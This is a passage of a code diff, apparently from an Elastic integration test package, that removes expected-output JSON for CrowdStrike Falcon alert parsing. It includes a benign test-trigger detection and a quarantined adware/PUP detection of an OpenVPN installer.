10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
deleted file mode 100644
index 911cd2426c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
+++ /dev/null
@@ -1,2033 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "overwatch_note": "Activity Notice: OverWatch has observed XYZ",
-                    "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123",
-                    "rule_group_name": "Windows Group",
-                    "rule_instance_created_by": "myuser@mydomain.com",
-                    "rule_instance_id": "123",
-                    "rule_instance_name": "INSTANCE-1",
-                    "rule_instance_version": "1",
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed 